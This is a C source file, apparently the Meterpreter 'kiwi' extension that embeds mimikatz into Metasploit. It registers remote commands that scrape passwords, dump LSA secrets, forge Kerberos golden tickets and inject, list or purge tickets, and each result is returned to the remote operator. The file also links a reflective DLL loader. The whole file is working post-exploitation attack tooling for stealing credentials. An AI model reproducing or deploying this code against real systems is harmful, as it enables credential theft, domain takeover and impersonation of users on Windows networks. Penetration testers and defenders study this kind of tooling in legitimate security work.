/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/

#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
	// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
	// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the 
	// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();

#include "main.h"
#include "mimikatz_interface.h"

DWORD request_scrape_passwords(Remote *remote, Packet *packet);
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet);
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet);
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet);
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);

Command customCommands[] =
{
    COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
    COMMAND_REQ("kiwi_kerberos_ticket_use", request_kerberos_ticket_use),
    COMMAND_REQ("kiwi_kerberos_golden_ticket_create", request_kerberos_golden_ticket_create),
    COMMAND_REQ("kiwi_kerberos_ticket_purge", request_kerberos_ticket_purge),
    COMMAND_REQ("kiwi_kerberos_ticket_list", request_kerberos_ticket_list),
    COMMAND_REQ("kiwi_lsa_dump_secrets", request_lsa_dump_secrets),
    COMMAND_TERMINATOR
};

DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
{
	DWORD result;
	Packet * response = packet_create_response(packet);

	dprintf("[KIWI] Dumping LSA Secrets");

	result = mimikatz_lsa_dump_secrets(response);
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
{
	Packet * response = packet_create_response(packet);
	DWORD result = ERROR_INVALID_PARAMETER;
	Tlv ticketTlv;

	result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv);

	if (result == ERROR_SUCCESS)
	{
		dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length);
		result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
	}
	else
	{
		dprintf("[KIWI] Failed to get ticket content");
	}

	packet_transmit_response(result, remote, response);

	return result;
}

DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
{
	DWORD result;
	Packet * response = packet_create_response(packet);
	char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER);
	char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN);
	char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID);
	char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT);


	if (!user || !domain || !sid || !tgt)
	{
		result = ERROR_INVALID_PARAMETER;
	}
	else
	{
		result = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, response);
	}

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
{
	DWORD result;
	Packet * response = packet_create_response(packet);
	BOOL bExport = packet_get_tlv_value_bool(packet, TLV_TYPE_KIWI_KERB_EXPORT);

	result = mimikatz_kerberos_ticket_list(bExport, response);

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
{
	DWORD result = mimikatz_kerberos_ticket_purge();

	dprintf("[KIWI] Purging kerberos tickets (if present)");

	packet_transmit_empty_response(remote, packet, result);

	return ERROR_SUCCESS;
}

DWORD request_scrape_passwords(Remote *remote, Packet *packet)
{
	DWORD result;
	Packet * response = packet_create_response(packet);
	UINT pwdId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_PWD_ID);

	dprintf("[KIWI] Pwd ID: %u", pwdId);

	result = mimikatz_scrape_passwords(pwdId, response);
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}

/*
 * Initialize the server extension
 */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
	hMetSrv = remote->hMetSrv;

	dprintf("[KIWI] Init server extension - initorclean");
	mimikatz_initOrClean(TRUE);

	dprintf("[KIWI] Init server extension - register");
	command_register_all(customCommands);

	dprintf("[KIWI] Init server extension - done");

	return ERROR_SUCCESS;
}

/*
 * Deinitialize the server extension
 */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
	mimikatz_initOrClean(FALSE);
	command_deregister_all(customCommands);

	return ERROR_SUCCESS;
}